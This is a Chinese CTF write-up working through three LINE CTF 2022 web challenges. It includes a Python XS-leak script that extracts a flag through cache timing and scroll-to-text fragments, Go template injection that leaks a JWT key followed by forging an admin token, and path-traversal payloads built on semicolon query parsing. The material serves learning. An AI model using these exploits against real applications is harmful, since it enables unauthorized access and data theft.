LINECTF2022

web题复现

title todo

解这个题需要先了解几个知识点

我的思路

首先在 app.py 中注意到了 csp 非常严格

1
2
3
4
@app.after_request
def add_header(response):
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' blob:"
return response

我们可以上传一张图片和一个title

并且可以 share to admim

然后我找了一个可以进行xss的点 位于 imge.html

1
2
3
4
5
6
{% block content %}
<div class="title is-3">{{ image.title }}</div>

<img src={{ image.url }} class="mb-3">
<input hidden id="imgId" value="{{ image.id }}">
{% if not shared %}

我们发现 我们可控 image.url 并且可以造成xss (理论上)

但是我随即发现xss并不能成功 因为 csp 而我当时并没有意识到这一点 导致 我直接卡在了这里

欠缺在哪里?

上传文件和

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@app.route('/image/upload', methods=['POST'])
@login_required
def upload_image():
img_file = request.files['img_file']
if img_file:
ext = os.path.splitext(img_file.filename)[1]
if ext in ['.jpg', '.png']:
filename = uuid4().hex + ext

img_path = os.path.join(app.config.get('UPLOAD_FOLDER'), filename)
img_file.save(img_path)

return jsonify({'img_url': f'/static/image/{filename}'}), 200

return jsonify({}), 400


@app.route('/image', methods=['GET', 'POST'])
@login_required
def create_image():
if request.method == 'POST':
title = request.form.get('title')
img_url = request.form.get('img_url')

if title and img_url:
if not img_url.startswith('/static/image/'):
flash('Image creation failed')
return redirect(url_for('create_image'))

image = Image(title=title, url=img_url, owner=current_user)
db.session.add(image)
db.session.commit()
res = redirect(url_for('index'))
res.headers['X-ImageId'] = image.id
return res
return redirect(url_for('create_image'))

elif request.method == 'GET':
return render_template('create_image.html')

也就是说 上传图像 和 上传 title 和 image.url 是分开的

然后看一下 nginx 的

1
2
3
4
5
6
7
8
9
10
location /static {
uwsgi_cache one;
uwsgi_cache_valid 200 5m;
uwsgi_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary;

include uwsgi_params;
uwsgi_pass app;

add_header X-Cache-Status $upstream_cache_status;
}

uwsgi_cache_valid – 根据响应码设置缓存时间

然后就要讲到一个很重要的知识点

https://xsleaks.dev/docs/attacks/experiments/scroll-to-text-fragment/

https://chromestatus.com/feature/4733392803332096

其实这个已经在很多次比赛中出现过了

比如 PlaidCTF2020

https://ctftime.org/writeup/20254

If a page contains images with Lazy Loading, an attacker can detect if fragment navigation that included an image occurred by checking whether the image was cached in the browser. This works because Lazy Loading images are only fetched (and cached) when they appear in the viewport.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
from time import sleep

chall_url = "http://35.187.204.223"
s = requests.Session()
#s.proxies.update({"http": "http://127.0.0.1:8080"})


def is_hit(image):
return "HIT" == s.head(chall_url + image).headers["X-Cache-Status"]


def share(path):
s.post(chall_url + "/share",
headers={"Content-type": "application/json"}, json={"path": path})


def new_post(image):
return "/image/" + s.post(chall_url + "/image", headers={"Content-Type": "application/x-www-form-urlencoded"}, allow_redirects=False, data={
"title": "W"*3000, "img_url": image + " loading=lazy"
}).headers["X-ImageId"]


def upload_image():
headers = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarySyjbxI4bmreUQGnT"}
data = "------WebKitFormBoundarySyjbxI4bmreUQGnT\r\nContent-Disposition: form-data; name=\"img_file\"; filename=\"foo.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nfoo\r\n------WebKitFormBoundarySyjbxI4bmreUQGnT--\r\n"
return s.post(chall_url + "/image/upload", headers=headers, data=data).json()["img_url"]


# login
s.post(chall_url + "/register",
headers={"Content-Type": "application/x-www-form-urlencoded"}, data="username=foofoo&password=barbar")
s.post(chall_url + "/login",
headers={"Content-Type": "application/x-www-form-urlencoded"}, data="username=foofoo&password=barbar")
print("Registered")


known = "LINECTF{"
while True:

for char in "/0123456789abcdef":
current_image = upload_image()
current_post = new_post(current_image)

share(current_post[1:] + "#:~:text=" + known + char)
sleep(5)

if is_hit(current_image):
known += char
print(known)
break

else:
print("Flag: " + known)
break

参考大佬文章

https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

https://blog.maple3142.net/2022/03/27/line-ctf-2022-writeups/#title-todo

gotm

image-20220503221616032

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
fmt.Println(id)
acc := get_account(id)
fmt.Println(acc)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {

return
}
}

先注册一个账户 名为 {{.}}

然后改一下 jwt

1
2
3
4
5
6
7
8
9
10
11
# curl "http://127.0.0.1:2333/regist" --data  'id={{.}}&pw=2333'
{"status":true,"msg":""}

# curl "http://127.0.0.1:2333/auth" --data 'id={{.}}&pw=2333'
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.82TiASACxvlXOXaMfkfl7UzypVvaWRJni-D22e2iT7E"}

# curl 'http://127.0.0.1:2333' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.82TiASACxvlXOXaMfkfl7UzypVvaWRJni-D22e2iT7E'
Logged in as {{{.}} 2333 false this_is_fake_key}

curl 'http://127.0.0.1:2333' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.BOQ0KkXZwK1G68VmU5brd04vL3iO6vTXu5MdXt5aoIE'
Logged in as root

贴几个学习的链接

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#ssti-in-go

https://tyskill.github.io/posts/gossti/

https://forum.butian.net/share/1286

Memo Drive

看了眼dockerfile 一看就是要想办法读文件

1
2
3
RUN chmod -R 705 "${MEMO}"
RUN chmod 707 "${MEMO}/memo/"
RUN chmod 704 "${MEMO}/memo/flag"

看了眼 index.py 估计是什么路径操作

先进容器里看看 有时候这样调试会更方便一些

1
docker exec -it id /bin/bash

image-20220526104133976

这时候我想到了一个问题 如何来方便地查看日志?

看一下容器是怎么运行的

1
nohup python index.py &

查一下 nohup 是干什么的

nohup 命令是英语词组 no hangup 的缩写,意思是不挂断,也就是指程序不退出。这个命令会使程序忽略 HUP 信号,保证程序能够正常进行。HUP 信号有些人可能比较陌生,它是在终端被中止的时候向它所关联的进程所发出的信号,进程收到这个信号后就会中止运行。所以如果你不希望进程被这个信号干掉的话,就可以忽略这个信号。而 nohup 命令做的就是这个事情。

重点来了

当这个程序进行起来之后,这个程序对应的 log 输出及其错误日志都将被记录在 nohup.out 文件里,这个文件一般位于家目录或者当前目录。

可以借鉴 以后可以用这个命令来debug 学到了

那我们直接来读这个文件就好了

真烦 咋没找到 文件呢 自己重新弄上一下环境吧

1
ps aux | grep start.sh

下次自己改一下文件 重定向一下输出位置就好了

1
nohup ./start.sh > ./output.txt

好了 来看看这题

小技巧 查看进程输出

1
ps -ef
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def view(request):
context = {}

try:
context['request'] = request
clientId = getClientID(request.client.host)

if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise

filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename

f = open(path, 'r')
contents = f.readlines()
f.close()

context['filename'] = filename
context['contents'] = contents

payload

1
/view?CLIENT_ID=flag;/%2e%2e/

github上的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from starlette.testclient import TestClient
from starlette.requests import Request
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import PlainTextResponse

param_value = 'a;b;c'
url = f'/test?param={param_value}'


async def test_route(request: Request):
param = request.query_params['param']
# param is 'a'
# request.query_params.keys() is ['param', 'b', 'c']
assert param == param_value # Assertion failed
return PlainTextResponse(param)


app = Starlette(debug=True, routes=[Route('/test', test_route)])

client = TestClient(app)

response = client.request(url=url, method='GET')

https://python-security.readthedocs.io/vuln/urllib-query-string-semicolon-separator.html

image-20220526153051554

所以只有在特定的版本才会有漏洞

一个神奇的解法

1
2
GET http://0.0.0.0:11000/view?id=flag&/..
Host: 0.0.0.0#

见 Huli 大哥 https://blog.huli.tw/2022/03/27/linectf-2022-writeup/

image-20220526153501186 image-20220526153521769